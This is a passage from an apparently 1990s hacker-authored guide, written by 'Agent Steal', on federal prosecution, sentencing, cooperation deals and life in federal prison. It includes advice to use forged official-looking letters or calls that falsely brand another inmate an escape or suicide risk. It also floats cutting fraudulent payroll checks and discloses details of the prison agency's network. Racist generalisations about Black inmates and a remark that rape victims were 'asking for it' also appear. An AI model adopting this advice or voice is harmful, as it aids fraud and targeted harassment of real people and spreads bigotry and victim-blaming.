plea to negotiate over. But essentially my advice would be to avoid signing
away your right to appeal. Once you get to a real prison with real jailhouse
lawyers you will find out how bad you got screwed. That issue notwithstanding,
you are most likely going to want to appeal. This being the case you need to
remember two things: bring all your appealable issues up at sentencing and
file a notice of appeal within 10 days of your sentencing. Snooze and loose.
I should however, mention that you can appeal some issues even though
you signed away your rights to appeal. For example, you can not sign away
your right to appeal an illegal sentence. If the judge orders something that
is not permissible by statute, you then have a constitutional right to appeal
your sentence.
I will close this subpart with a prison joke. Q: How can you tell when
your attorney is lying? A: You can see his lips moving.
D. CONSPIRACY
Whatever happened to getting off on a technicality? I'm sorry to say
those days are gone, left only to the movies. The courts generally dismiss
many arguments as "harmless error" or "the government acted in good faith".
The most alarming trend, and surely the root of the prosecutions success, are
the liberally worded conspiracy laws. Quite simply, if two or more people
plan to do something illegal, then one of them does something in furtherance
of the objective (even something legal), then it's a crime. Yes, it's true.
In America it's illegal to simply talk about committing a crime. Paging Mr.
Orwell. Hello?
Here's a hypothetical example to clarify this. Bill G. and Marc A. are
hackers (can you imagine?) Bill and Marc are talking on the phone and
unbeknownst to them the FBI is recording the call. They talk about hacking
into Apple's mainframe and erasing the prototype of the new Apple Web Browser.
Later that day, Marc does some legitimate research to find out what type of
mainframe and operating system Apple uses. The next morning, the Feds raid
Marc's house and seize everything that has wires. Bill and Marc go to trial
and spend millions to defend themselves. They are both found guilty of
conspiracy to commit unauthorized access to a computer system.
E. SENTENCING
At this point it is up to the probation department to prepare a report
for the court. It is their responsibility to calculate the loss and identify
any aggravating or mitigating circumstances. Apple Computer Corporation
estimates that if Bill and Marc would have been successful it would have
resulted in a loss of $2 million. This is the figure the court will use.
Based on this basic scenario our dynamic duo would receive roughly three-year
sentences.
As I mentioned, sentencing is complex and many factors can decrease or
increase a sentence, usually the latter. Let's say that the FBI also found a
file on Marc's computer with 50,000 unauthorized account numbers and passwords
to The Microsoft Network. Even if the FBI does not charge him with this, it
could be used to increase his sentence. Generally the government places a
$200-per-account attempted loss on things of this nature (i.e. credit card
numbers and passwords = access devices). This makes for a $10 million loss.
Coupled with the $2 million from Apple, Marc is going away for about nine
years. Fortunately there is a Federal Prison not too far from Redmond, WA so
Bill could come visit him.
Some of the other factors to be used in the calculation of a sentence
might include the following: past criminal record, how big your role in the
offense was, mental disabilities, whether or not you were on probation at the
time of the offense, if any weapons were used, if any threats were used, if
your name is Kevin Mitnick (heh), if an elderly person was victimized, if you
took advantage of your employment position, if you are highly trained and used
your special skill, if you cooperated with the authorities, if you show
remorse, if you went to trial, etc.
These are just some of the many factors that could either increase or
decrease a sentence. It would be beyond the scope of this article to cover
the U.S.S.G. in complete detail. I do feel that I have skipped over some
significant issues. Nevertheless, if you remember my two main points in
addition to how the conspiracy law works, you'll be a long way ahead in
protecting yourself.
F. USE OF A SPECIAL SKILL
The only specific "sentencing enhancement" I would like to cover would
be one that I am responsible for setting a precedent with. In U.S. v Petersen,
98 F.3d. 502, 9th Cir., the United States Court of Appeals held that some
computer hackers may qualify for the special skill enhancement. What this
generally means is a 6 to 24 month increase in a sentence. In my case it
added eight months to my 33-month sentence bringing it to 41 months.
Essentially the court stated that since I used my "sophisticated" hacking
skills towards a legitimate end as a computer security consultant, then the
enhancement applies. It's ironic that if I were to have remained strictly a
criminal hacker then I would have served less time.
The moral of the story is that the government will find ways to give
you as much time as they want to. The U.S.S.G. came into effect in 1987 in an
attempt to eliminate disparity in sentencing. Defendants with similar crimes
and similar backgrounds would often receive different sentences. Unfortunately,
this practice still continues. The U.S.S.G. are indeed a failure.
G. GETTING BAIL
In the past, the Feds might simply have executed their raid and then
left without arresting you. Presently this method will be the exception
rather than the rule and it is more likely that you will be taken into custody
at the time of the raid. Chances are also good that you will not be released
on bail. This is part of the government's plan to break you down and win their
case. If they can find any reason to deny you bail they will. In order to
qualify for bail, you must meet the following criteria:
- You must be a resident of the jurisdiction in which you were arrested.
- You must be gainfully employed or have family ties to the area.
- You cannot have a history of failure to appear or escape.
- You cannot be considered a danger or threat to the community.
In addition, your bail can be denied for the following reasons:
- Someone came forward and stated to the court that you said you would flee if
released.
- Your sentence will be long if convicted.
- You have a prior criminal history.
- You have pending charges in another jurisdiction.
What results from all this "bail reform" is that only about 20% of
persons arrested make bail. On top of that it takes 1-3 weeks to process your
bail papers when property is involved in securing your bond.
Now you're in jail, more specifically you are either in an
administrative holding facility or a county jail that has a contract with the
Feds to hold their prisoners. Pray that you are in a large enough city to
justify its own Federal Detention Center. County jails are typically the last
place you would want to be.
H. STATE VS. FEDERAL CHARGES
In some cases you will be facing state charges with the possibility of
the Feds "picking them up." You may even be able to nudge the Feds into
indicting you. This is a tough decision. With the state you will do
considerably less time, but will face a tougher crowd and conditions in prison.
Granted, Federal Prisons can be violent too, but generally as a non-violent
white collar criminal you will eventually be placed into an environment with
other low security inmates. More on this later.
Until you are sentenced, you will remain as a "pretrial inmate" in
general population with other inmates. Some of the other inmates will be
predatorial but the Feds do not tolerate much nonsense. If someone acts up,
they'll get thrown in the hole. If they continue to pose a threat to the
inmate population, they will be left in segregation (the hole). Occasionally
inmates that are at risk or that have been threatened will be placed in
segregation. This isn't really to protect the inmate. It is to protect the
prison from a lawsuit should the inmate get injured.
I. COOPERATING
Naturally when you are first arrested the suits will want to talk to
you. First at your residence and, if you appear to be talkative, they will
take you back to their offices for an extended chat and a cup of coffee. My
advice at this point is tried and true and we've all heard it before: remain
silent and ask to speak with an attorney. Regardless of what the situation is,
or how you plan to proceed, there is nothing you can say that will help you.
Nothing. Even if you know that you are going to cooperate, this is not the
time.
This is obviously a controversial subject, but the fact of the matter
is roughly 80% of all defendants eventually confess and implicate others. This
trend stems from the extremely long sentences the Feds are handing out these
days. Not many people want to do 10 to 20 years to save their buddies' hides
when they could be doing 3 to 5. This is a decision each individual needs to
make. My only advice would be to save your close friends and family. Anyone
else is fair game. In the prison system the blacks have a saying "Getting
down first." It's no secret that the first defendant in a conspiracy is
usually going to get the best deal. I've even seen situations where the big
fish turned in all his little fish and received 40% off his sentence.
Incidentally, being debriefed or interrogated by the Feds can be an
ordeal in itself. I would -highly- recommend reading up on interrogation
techniques ahead of time. Once you know their methods it will be all quite
transparent to you and the debriefing goes much more smoothly.
When you make a deal with the government you're making a deal with the
devil himself. If you make any mistakes they will renege on the deal and
you'll get nothing. On some occasions the government will trick you into
thinking they want you to cooperate when they are not really interested in
anything you have to say. They just want you to plead guilty. When you sign
the cooperation agreement there are no set promises as to how much of a
sentence reduction you will receive. That is to be decided after your
testimony, etc. and at the time of sentencing. It's entirely up to the judge.
However, the prosecution makes the recommendation and the judge generally goes
along with it. In fact, if the prosecution does not motion the court for your
"downward departure" the courts' hands are tied and you get no break.
As you can see, cooperating is a tricky business. Most people,
particularly those who have never spent a day in jail, will tell you not to
cooperate. "Don't snitch." This is a noble stance to take. However, in some
situations this is just plain stupid. Saving someone's ass who would easily
do the same to you is a tough call. It's something that needs careful
consideration. Like I said, save your friends then do what you have to do to
get out of prison and on with your life.
I'm happy to say that I was able to avoid involving my good friends
and a former employer in the massive investigation that surrounded my case. It
wasn't easy. I had to walk a fine line. Many of you probably know that I
(Agent Steal) went to work for the FBI after I was arrested. I was
responsible for teaching several agents about hacking and the culture. What
many of you don't know is that I had close FBI ties prior to my arrest. I was
involved in hacking for over 15 years and had worked as a computer security
consultant. That is why I was given that opportunity. It is unlikely however,
that we will see many more of these types of arrangements in the future. Our
relationship ran afoul, mostly due to their passive negligence and lack of
experience in dealing with hackers. The government in general now has their
own resources, experience, and undercover agents within the community. They
no longer need hackers to show them the ropes or the latest security hole.
Nevertheless, if you are in the position to tell the Feds something
they don't know and help them build a case against someone, you may qualify
for a sentence reduction. The typical range is 20% to 70%. Usually it's
around 35% to 50%. Sometimes you may find yourself at the end of the
prosecutorial food chain and the government will not let you cooperate. Kevin
Mitnick would be a good example of this. Even if he wanted to roll over, I
doubt it would get him much. He's just too big of a fish, too much media. My
final advice in this matter is get the deal in writing before you start
cooperating.
The Feds also like it when you "come clean" and accept responsibility.
There is a provision in the Sentencing Guidelines, 3E1.1, that knocks a little
bit of time off if you confess to your crime, plead guilty and show remorse.
If you go to trial, typically you will not qualify for this "acceptance of
responsibility" and your sentence will be longer.
J. STILL THINKING ABOUT TRIAL
Many hackers may remember the Craig Neidorf case over the famous 911
System Operation documents. Craig won his case when it was discovered that
the manual in question, that he had published in Phrack magazine, was not
proprietary as claimed but available publicly from AT&T. It was an egg in
the face day for the Secret Service.
Don't be misled by this. The government learned a lot from this
fiasco and even with the laudable support from the EFF, Craig narrowly
thwarted off a conviction. Regardless, it was a trying experience (no pun
intended) for him and his attorneys. The point I'm trying to make is that it's
tough to beat the Feds. They play dirty and will do just about anything,
including lie, to win their case. If you want to really win you need to know
how they build a case in the first place.
K. SEARCH AND SEIZURE
There is a document entitled "Federal Guidelines For Searching And
Seizing Computers." It first came to my attention when it was published in
the 12-21-94 edition of the Criminal Law Reporter by the Bureau of National
Affairs (Cite as 56 CRL 2023 ). It's an intriguing collection of tips, cases,
mistakes and, in general, how to bust computer hackers. It's recommended
reading.
Search and seizure is an ever evolving jurisprudence. What's not
permissible today may, through some convoluted Supreme Court logic, be
permissible and legal tomorrow. Again, a complete treatment of this subject
is beyond the scope of this paper. But suffice it to say if a Federal agent
wants to walk right into your bedroom and seize all of your computer equipment
without a warrant he could do it by simply saying he had probable cause (PC).
PC is anything that gives him an inkling to believe you were committing a
crime. Police have been known to find PC to search a car when the trunk sat
too low to the ground or the high beams were always on.
L. SURVEILLANCE AND WIRETAPS
Fortunately the Feds still have to show a little restraint when
wielding their wiretaps. It requires a court order and they have to show that
there is no other way to obtain the information they seek, a last resort if
you will. Wiretaps are also expensive to operate. They have to lease lines
from the phone company, pay agents to monitor it 24 hours a day and then
transcribe it. If we are talking about a data tap, there are additional costs.
Expensive interception/translation equipment must be in place to negotiate the
various modem speeds. Then the data has to be stored, deciphered,
decompressed, formatted, protocoled, etc. It's a daunting task and usually
reserved for only the highest profile cases. If the Feds can seize the data
from any other source, like the service provider or victim, they will take
that route. I don't know what they hate worse though, asking for outside help
or wasting valuable internal resources.
The simplest method is to enlist the help of an informant who will
testify "I saw him do it!," then obtain a search warrant to seize the evidence
on your computer. Ba da boom, ba da busted.
Other devices include a pen register which is a device that logs every
digit you dial on your phone and the length of the calls, both incoming and
outgoing. The phone companies keep racks of them at their security
departments. They can place one on your line within a day if they feel you are
defrauding them. They don't need a court order, but the Feds do.
A trap, or trap and trace, is typically any method the phone company
uses to log every number that calls a particular number. This can be done on
the switching system level or via a billing database search. The Feds need a
court order for this information too. However, I've heard stories of
cooperative telco security investigations passing the information along to an
agent. Naturally that would be a "harmless error while acting in good faith."
(legal humor)...
I'd love to tell you more about FBI wiretaps but this is as far as I
can go without pissing them off. Everything I've told you thus far is public
knowledge. So I think I'll stop here. If you really want to know more, catch
Kevin Poulsen (Dark Dante) at a cocktail party, buy him a Coke and he'll give
you an earful. (hacker humor)
In closing this subpart I will say that most electronic surveillance
is backed up with at least part-time physical surveillance. The Feds are
often good at following people around. They like late model mid-sized
American cars, very stock, with no decals or bumper stickers. If you really
want to know if you're under surveillance, buy an Opto-electronics Scout or
Xplorer frequency counter. Hide it on your person, stick an ear plug in your
ear (for the Xplorer) and take it everywhere you go. If you hear people
talking about you, or you continue to hear intermittent static (encrypted
speech), you probably have a problem.
M. YOUR PRESENTENCE INVESTIGATION REPORT, PSI OR PSR
After you plead guilty you will be dragged from the quiet and comfort
of your prison cell to meet with a probation officer. This has absolutely
nothing to do with getting probation. Quite the contrary. The P.O. is
empowered by the court to prepare a complete and, in theory, unbiased profile
of the defendant. Everything from education, criminal history, psychological
behavior, offense characteristics plus more will be included in this
voluminous and painfully detailed report about your life. Every little dirty
scrap of information that makes you look like a sociopath, demon worshiping,
loathsome criminal will be included in this report. They'll put a few negative
things in there as well.
My advice is simple. Be careful what you tell them. Have your
attorney present and think about how what you say can be used against you.
Here's an example:
P.O.: Tell me about your education and what you like to do in your spare time.
Mr. Steal: I am preparing to enroll in my final year of college. In my spare
time I work for charity helping orphan children.
The PSR then reads "Mr. Steal has never completed his education and hangs
around with little children in his spare time." Get the picture?
J. PROCEEDING PRO SE
Pro Se or Pro Per is when a defendant represents himself. A famous
lawyer once said "a man that represents himself has a fool for a client."
Truer words were never spoken. However, I can't stress how important it is to
fully understand the criminal justice system. Even if you have a great
attorney it's good to be able to keep an eye on him or even help out. An
educated client's help can be of enormous benefit to an attorney. They may
think you're a pain in the ass but it's your life. Take a hold of it.
Regardless, representing yourself is generally a mistake.
However, after your appeal, when your court appointed attorney runs
out on you, or you have run out of funds, you will be forced to handle matters
yourself. At this point there are legal avenues, although quite bleak, for
post-conviction relief.
But I digress. The best place to start in understanding the legal
system lies in three inexpensive books. First the Federal Sentencing
Guidelines ($14.00) and Federal Criminal Codes and Rules ($20.00) are
available from West Publishing at 800-328-9352. I consider possession of
these books to be mandatory for any pretrial inmate. Second would be the
Georgetown Law Journal, available from Georgetown University Bookstore in
Washington, DC. The book sells for around $40.00 but if you write them a
letter and tell them you're a Pro Se litigant they will send it for free. And
last but not least the definitive Pro Se authority, "The Prisoners Self Help
Litigation Manual" $29.95 ISBN 0-379-20831-8. Or try
http://www.oceanalaw.com/books/n148.htm
O. EVIDENTIARY HEARING
If you disagree with some of the information presented in the
presentence report (PSR) you may be entitled to a special hearing. This can
be instrumental in lowering your sentence or correcting your PSR. One
important thing to know is that your PSR will follow you the whole time you
are incarcerated. The Bureau of Prisons uses the PSR to decide how to handle
you. This can affect your security level, your halfway house, your
eligibility for the drug program (which gives you a year off your sentence),
and your medical care. So make sure your PSR is accurate before you get
sentenced!
P. GETTING YOUR PROPERTY BACK
In most cases it will be necessary to formally ask the court to have
your property returned. They are not going to just call you up and say "Do
you want this Sparc Station back or what?" No, they would just as soon keep it
and not asking for it is as good as telling them they can have it.
You will need to file a 41(e) "Motion For Return Of Property." The
courts' authority to keep your stuff is not always clear and will have to be
taken on a case-by-case basis. They may not care and the judge will simply
order that it be returned.
If you don't know how to write a motion, just send a formal letter to
the judge asking for it back. Tell him you need it for your job. This should
suffice, but there may be a filing fee.
Q. OUTSTANDING WARRANTS
If you have an outstanding warrant or charges pending in another
jurisdiction you would be wise to deal with them as soon as possible -after-
you are sentenced. If you follow the correct procedure chances are good the
warrants will be dropped (quashed). In the worst case scenario, you will be
transported to the appropriate jurisdiction, plead guilty and have your "time
run concurrent." Typically in non-violent crimes you can serve several
sentences all at the same time. Many Federal inmates have their state time
run with their Federal time. In a nutshell: concurrent is good, consecutive
bad.
This procedure is referred to as the Interstate Agreement On Detainers
Act (IADA). You may also file a "demand for speedy trial", with the
appropriate court. This starts the meter running. If they don't extradite
you within a certain period of time, the charges will have to be dropped. The
"Inmates' Self-Help Litigation Manual" that I mentioned earlier covers this
topic quite well.
R. ENCRYPTION
There are probably a few of you out there saying, "I triple DES
encrypt my hard drive and 128 character RSA public key it for safety." Well,
that's just great, but... the Feds can have a grand jury subpoena your
passwords and if you don't give them up you may be charged with obstruction of
justice. Of course who's to say otherwise if you forgot your password in all
the excitement of getting arrested. I think I heard this once or twice before
in a Senate Sub-committee hearing. "Senator, I have no recollection of the
aforementioned events at this time." But seriously, strong encryption is
great. However, it would be foolish to rely on it. If the Feds have your
computer and access to your encryption software itself, it is likely they
could break it given the motivation. If you understand the true art of code
breaking you should understand this. People often overlook the fact that your
password, the one you use to access your encryption program, is typically less
than 8 characters long. By attacking the access to your encryption program
with a keyboard emulation sequencer your triple DES/128 bit RSA crypto is
worthless. Just remember, encryption may not protect you.
S. LEGAL SUMMARY
Before I move on to the Life in Prison subpart, let me tell you what
this all means. You're going to get busted, lose everything you own, not get
out on bail, snitch on your enemies, get even more time than you expected and
have to put up with a bunch of idiots in prison. Sound fun? Keep hacking.
And, if possible, work on those sensitive .gov sites. That way they can hang
an espionage rap on you. That will carry about 12 to 18 years for a first
time offender.
I know this may all sound a bit bleak, but the stakes for hackers have
gone up and you need to know what they are. Let's take a look at some recent
sentences:
Agent Steal (me) 41 months
Kevin Poulsen 51 months
Minor Threat 70 months
Kevin Mitnick estimated 7-9 years
As you can see, the Feds are giving out some time now. If you are
young, a first-time offender, unsophisticated (like MOD), and were just
looking around in some little company's database, you might get probation. But
chances are that if that is all you were doing, you would have been passed
over for prosecution. As a rule, the Feds won't take the case unless $10,000
in damages are involved. The problem is who is to say what the loss is? The
company can say whatever figure it likes and it would be tough to prove
otherwise. They may decide to, for insurance purposes, blame some huge
downtime expense on you. I can hear it now, "When we detected the intruder,
we promptly took our system off-line. It took us two weeks to bring it up
again for a loss in wasted manpower of $2 million." In some cases you might
be better off just using the company's payroll system to cut you a couple of
$10,000 checks. That way the government has a firm loss figure. This would
result in a much shorter sentence. I'm not advocating blatant criminal actions.
I just think the sentencing guidelines definitely need some work.
PART II - FEDERAL PRISON
A. STATE v. FEDERAL
In most cases I would say that doing time in a Federal Prison is better
than doing time in the state institutions. Some state prisons are such
violent and pathetic places that it's worth doing a little more time in the
Federal system. This is going to be changing however. The public seems to
think that prisons are too comfortable and as a result Congress has passed a
few bills to toughen things up.
Federal prisons are generally going to be somewhat less crowded,
cleaner, and more laid back. The prison I was at looked a lot like a college
campus with plenty of grass and trees, rolling hills, and stucco buildings. I
spent most of my time in the library hanging out with Minor Threat. We would
argue over who was more elite. "My sentence was longer," he would argue. "I
was in more books and newspapers," I would rebut. (humor)
Exceptions to the Fed is better rule would be states that permit
televisions and word processors in your cell. As I sit here just prior to
release scribbling this article with pen and paper I yearn for even a Smith
Corona with one line display. The states have varying privileges. You could
wind up someplace where everything gets stolen from you. There are also
states that are abolishing parole, thus taking away the ability to get out
early with good behavior. That is what the Feds did.
B. SECURITY LEVELS
The Bureau of Prisons (BOP) has six security levels. Prisons are
assigned a security level and only prisoners with the appropriate ratings are
housed there. Often the BOP will have two or three facilities at one location.
Still, they are essentially separate prisons, divided by fences.
The lowest level facility is called a minimum, a camp, or FPC.
Generally speaking, you will find first time, non-violent offenders with less
than 10 year sentences there. Camps have no fences. Your work assignment at
a camp is usually off the prison grounds at a nearby military base. Other
times camps operate as support for other nearby prisons.
The next level up is a low Federal Correctional Institution (FCI).
These are where you find a lot of people who should be in a camp but for some
technical reason didn't qualify. There is a double fence with razor wire
surrounding it. Again you will find mostly non-violent types here. You would
really have to piss someone off before they would take a swing at you.
Moving up again we get to medium and high FCI's which are often
combined. More razor wire, more guards, restricted movement and a rougher
crowd. It's also common to find people with 20 or 30+ year sentences.
Fighting is much more common. Keep to yourself, however, and people generally
leave you alone. Killings are not too terribly common. With a prison
population of 1500-2000, about one or two a year leave on a stretcher and don't
come back.
The United States Penitentiary (U.S.P.) is where you find the murderers,
rapists, spies and the roughest gang bangers. "Leavenworth" and "Atlanta" are
the most infamous of these joints. Traditionally surrounded by a 40 foot
brick wall, they take on an ominous appearance. The murder rate per prison
averages about 30 per year with well over 250 stabbings.
The highest security level in the system is Max, sometimes referred to
as "Supermax." Max custody inmates are locked down all the time. Your mail is
shown to you over a TV screen in your cell. The shower is on wheels and it
comes to your door. You rarely see other humans and if you do leave your cell
you will be handcuffed and have at least a three guard escort. Mr. Gotti, the
Mafia boss, remains in Supermax. So does Aldridge Ames, the spy.
C. GETTING DESIGNATED
Once you are sentenced, the BOP has to figure out what they want to do
with you. There is a manual called the "Custody and Classification Manual"
that they are supposed to follow. It is publicly available through the
Freedom of Information Act and it is also in most prison law libraries.
Unfortunately, it can be interpreted a number of different ways. As a result,
most prison officials responsible for classifying you do pretty much as they
please.
Your first classification is done by the Region Designator at BOP
Regional Headquarters. As a computer hacker you will most likely be placed in
a camp or a low FCI. This is assuming you weren't pulling bank jobs on the
side. -IF- you do wind up in an FCI, you should make it to a camp after six
months. This is assuming you behave yourself.
Another thing the Region Designator will do is to place a "Computer
No" on your file. This means you will not be allowed to operate a computer at
your prison work assignment. In my case I wasn't allowed to be within 10 feet
of one. It was explained to me that they didn't even want me to know the
types of software they were running. Incidentally, the BOP uses PC/Server
based LANs with NetWare 4.1 running on Fiber 10baseT Ethernet connections to
Cabletron switches and hubs. PC based gateways reside at every prison. The
connection to the IBM mainframe (Sentry) is done through leased lines via
Sprintnet's Frame Relay service with 3270 emulation software/hardware resident
on the local servers. Sentry resides in Washington, D.C. with SNA type
network concentrators at the regional offices. ;-) And I picked all of this up
without even trying to. Needless to say, BOP computer security is very lax.
Many of their publicly available "Program Statements" contain specific
information on how to use Sentry and what it's designed to do. They have other
networks as well, but this is not a tutorial on how to hack the BOP. I'll save
that for if they ever really piss me off. (humor)
Not surprisingly, the BOP is very paranoid about computer hackers. I
went out of my way not to be interested in their systems or to receive
computer security related mail. Nevertheless, they tried restricting my mail
on numerous occasions. After I filed numerous grievances and had a meeting
with the warden, they decided I was probably going to behave myself. My 20 or
so magazine subscriptions were permitted to come in, after a special screening.
Despite all of that I still had occasional problems, usually when I received
something esoteric in nature. It's my understanding, however, that many
hackers at other prisons have not been as fortunate as I was.
D. IGNORANT INMATES
You will meet some of the stupidest people on the planet in prison. I
suppose that is why they are there, too dumb to do anything except crime. And
for some strange reason these uneducated low class common thieves think they
deserve your respect. In fact they will often demand it. These are the same
people that condemn everyone who cooperated, while at the same time feel it is
fine to break into your house or rob a store at gunpoint. These are the types
of inmates you will be incarcerated with, and occasionally these inmates will
try to get over on you. They will do this for no reason other than the fact
you are an easy mark.
There are a few tricks hackers can do to protect themselves in prison.
The key to your success is acting before the problem escalates. It is also
important to have someone outside (preferably another hacker) that can do some
social engineering for you. The objective is simply to have your problem
inmate moved to another institution. I don't want to give away my methods but
if staff believes that an inmate is going to cause trouble, or if they believe
his life is in danger, they will move him or lock him away in segregation.
Social engineered letters (official looking) or phone calls from the right
source to the right department will often evoke brisk action. It's also quite
simple to make an inmates life quite miserable. If the BOP has reason to
believe that an inmate is an escape risk, a suicide threat, or had pending
charges, they will handle them much differently. Tacking these labels on an
inmate would be a real nasty trick. I have a saying: "Hackers usually have
the last word in arguments." Indeed.
Chances are you won't have many troubles in prison. This especially
applies if you go to a camp, mind your own business, and watch your mouth.
Nevertheless, I've covered all of this in the event you find yourself caught
up in the ignorant behavior of inmates whose lives revolve around prison. And
one last piece of advice, don't make threats, truly stupid people are too
stupid to fear anything, particularly an intelligent man. Just do it.
E. POPULATION
The distribution of blacks, whites and Hispanics varies from
institution to institution. Overall it works out to roughly 30% white, 30%
Hispanic and 30% black. The remaining 10% are various other races. Some
joints have a high percent of blacks and vice versa. I'm not necessarily a
prejudiced person, but prisons where blacks are in majority are a nightmare.
Acting loud, disrespectful, and trying to run the place is par for the course.
In terms of crimes, 60% of the Federal inmate population are
incarcerated for drug related crimes. The next most common would be bank
robbery (usually for quick drug money), then various white collar crimes. The
Federal prison population has changed over the years. It used to be a place
for the criminal elite. The tough drug laws have changed all of that.
Just to quell the rumors, I'm going to cover the topic of prison rape.
Quite simply, in medium and low security level Federal prisons it is unheard
of. In the highs it rarely happens. When it does happen, one could argue
that the victim was asking for it. I heard an inmate say once, "You can't
make no inmate suck cock that don't wanta." Indeed. In my 41 months of
incarceration, I never felt in any danger. I would occasionally have inmates
that would subtly ask me questions to see where my preferences lie, but once I
made it clear that I didn't swing that way I would be left alone. Hell, I got
hit on more often when I was hanging out in Hollywood!
On the other hand, state prisons can be a hostile environment for rape
and fighting in general. Many of us heard how Bernie S. got beat up over use
of the phone. Indeed, I had to get busy a couple of times. Most prison
arguments occur over three simple things: the phone, the TV and money/drugs.
If you want to stay out of trouble in a state prison, or Federal for that
matter, don't use the phone too long, don't change the channel and don't get
involved in gambling or drugs. As far as rape goes, pick your friends
carefully and stick with them. And always, always, be respectful. Even if
the guy is a fucking idiot (and most inmates are), say excuse me.
My final piece of prison etiquette advice would be to never take your
inmate problems to "the man" (prison staff). Despite the fact that most
everyone in prison snitched on their co-defendants at trial, there is no
excuse for being a prison rat. The rules are set by the prisoners themselves.
If someone steps out of line there will likely be another inmate who will be
happy to knock him back. In some prisons inmates are so afraid of being
labeled a rat that they refuse to be seen talking alone with a prison staff
member. I should close this paragraph by stating that this bit of etiquette
is routinely ignored as other inmates will snitch on you for any reason
whatsoever. Prison is a strange environment.
F. DOING TIME
You can make what you want to out of prison. Some people sit around
and do dope all day. Others immerse themselves in a routine of work and
exercise. I studied technology and music. Regardless, prisons are no longer
a place of rehabilitation. They serve only to punish and conditions are only
going to worsen. The effect is that angry, uneducated, and unproductive
inmates are being released back into society.
While I was incarcerated in 95/96, the prison band program was still
in operation. I played drums for two different prison bands. It really helped
pass the time and when I get out I will continue with my career in music. Now
the program has been canceled, all because some senator wanted to be seen as
being tough on crime. Bills were passed in Congress. The cable TV is gone,
pornography mags are no longer permitted, and the weight piles are being
removed. All this means is that prisoners will have more spare time on their
hands, and so more guards will have to be hired to watch the prisoners. I
don't want to get started on this subject. Essentially what I'm saying is
make something out of your time. Study, get in to a routine and before you
know you'll be going home, and a better person on top of it.
G. DISCIPLINARY ACTIONS
What fun is it if you go to prison and don't get into some mischief?
Well, I'm happy to say the only "shots" (violations) I ever received were for
having a friend place a call with his three-way calling for me (you can't call
everyone collect), and drinking homemade wine. |-) The prison occasionally
monitors your phone calls and on the seven or eight hundredth time I made a
three-way I got caught. My punishment was ten hours of extra duty (cleaning
up). Other punishments for shots include loss of phone use, loss of
commissary, loss of visits, and getting thrown in the hole. Shots can also
increase your security level and can get you transferred to a higher level
institution. If you find yourself having trouble in this area you may want to
pick up the book, "How to win prison disciplinary hearings", by Alan Parmelee,
206-328-2875.
H. ADMINISTRATIVE REMEDY
If you have a disagreement with the way staff is handling your case
(and you will) or another complaint, there is an administrative remedy
procedure. First you must try to resolve it informally. Then you can file a
form BP-9. The BP-9 goes to the warden. After that you can file a BP-10
which goes to the region. Finally, a BP-11 goes to the National BOP
Headquarters (Central Office). The whole procedure is a joke and takes about
six months to complete. Delay and conquer is the BOP motto. After you
complete the remedy process to no avail, you may file your action in a civil
court. In some extreme cases you may take your case directly to the courts
without exhausting the remedy process. Again, the "Prisoners Self-Help
Litigation Manual" covers this quite well.
My best advice with this remedy nonsense is to keep your request brief,
clear, concise and only ask for one specific thing per form. Usually if you
"got it coming" you will get it. If you don't, or if the BOP can find any
reason to deny your request, they will.
For this reason I often took my problems outside the prison from the
start. If it was a substantial enough issue I would inform the media, the
director of the BOP, all three of my attorneys, my judge and the ACLU. Often
this worked. It always pissed them off. But, alas I'm a man of principle and
if you deprive me of my rights I'm going to raise hell. In the past I might
have resorted to hacker tactics, like disrupting the BOP's entire
communication system bringing it crashing down! But...I'm rehabilitated now.
Incidentally, most BOP officials and inmates have no concept of the kind of
havoc a hacker can wield on an individuals life. So until some hacker shows
the BOP which end is up you will have to accept the fact most everyone you
meet in prison will have only nominal respect for you. Deal with it, you're
not in cyberspace anymore.
I. PRISON OFFICIALS
There are two types, dumb and dumber. I've had respect for several
but I've never met one that impressed me as being particularly talented in a
way other than following orders. Typically you will find staff that are
either just doing their job, or staff that is determined to advance their
career. The latter take their jobs and themselves way too seriously. They
don't get anywhere by being nice to inmates so they are often quite curt.
Ex-military and law enforcement wannabes are commonplace. All in all they're
a pain in the ass but easy to deal with. Anyone who has ever been down
(incarcerated) for awhile knows it's best to keep a low profile. If they don't
know you by name you're in good shape.
One of the problems that computer hackers will encounter with prison
staff is fear and/or resentment. If you are a pretentious articulate educated
white boy like myself you would be wise to act a little stupid. These people
don't want to respect you and some of them will hate everything that you stand
for. Many dislike all inmates to begin with. And the concept of you someday
having a great job and being successful bothers them. It's all a rather
bizarre environment where everyone seems to hate their jobs. I guess I've led
a sheltered life.
Before I move on, sometimes there will be certain staff members, like
your Case Manager, that will have a substantial amount of control over your
situation. The best way to deal with the person is to stay out of their way.
Be polite, don't file grievances against them and hope that they will take
care of you when it comes time. If this doesn't seem to work, then you need
to be a total pain in the ass and ride them with every possible request you
can muster. It's especially helpful if you have outside people willing to
make calls. Strong media attention will usually, at the very least, make the
prison do what they are supposed to do. If you have received a lot of bad
press, this could be a disadvantage. If your care continues to be a problem,
the prison will transfer you to another facility where you are more likely to
get a break. All in all how you choose to deal with staff is often a
difficult decision. My advice is that unless you are really getting screwed
over or really hate the prison you are in, don't rock the boat.
J. THE HOLE
Segregation sucks, but chances are you will find yourself there at
some point and usually for the most ridiculous of reasons. Sometimes you will
wind up there because of what someone else did. The hole is a 6' x 10'
concrete room with a steel bed and steel toilet. Your privileges will vary,
but at first you get nothing but a shower every couple of days. Naturally they
feed you but, it's never enough, and it's often cold. With no snacks you
often find yourself quite hungry in-between meals. There is nothing to do
there except read and hopefully some guard has been kind enough to throw you
some old novel.
Disciplinary actions will land you in the hole for typically a week or
two. In some cases you might get stuck there for a month or three. It depends
on the shot and on the Lieutenant that sent you there. Sometimes people never
leave the hole....
K. GOOD TIME
You get 54 days per year off of your sentence for good behavior. If
anyone tells you that a bill is going to be passed to give 108 days, they are
lying. 54 days a year works out to 15% and you have to do something
significant to justify getting that taken away. The BOP has come up with the
most complicated and ridiculous way to calculate how much good time you have
earned. They have a book about three inches thick that discusses how to
calculate your exact release date. I studied the book intensely and came to
the conclusion that the only purpose it serves is to covertly steal a few days
of good time from you. Go figure.
L. HALFWAY HOUSE
All "eligible" inmates are to serve the last 10% of their sentence
(not to exceed six months) in a Community Corrections Center (CCC). At the CCC
, which is nothing more than a large house in a bad part of town, you are to
find a job in the community and spend your evenings and nights at the CCC. You
have to give 25% of the gross amount of your check to the CCC to pay for all of
your expenses, unless you are a rare Federal prisoner sentenced to serve all of
your time at the CCC in which case it is 10%. They will breathalyse and
urinanalyse you routinely to make sure you are not having too much fun. If
you're a good little hacker you'll get a weekend pass so you can stay out all
night. Most CCCs will transfer you to home confinement status after a few
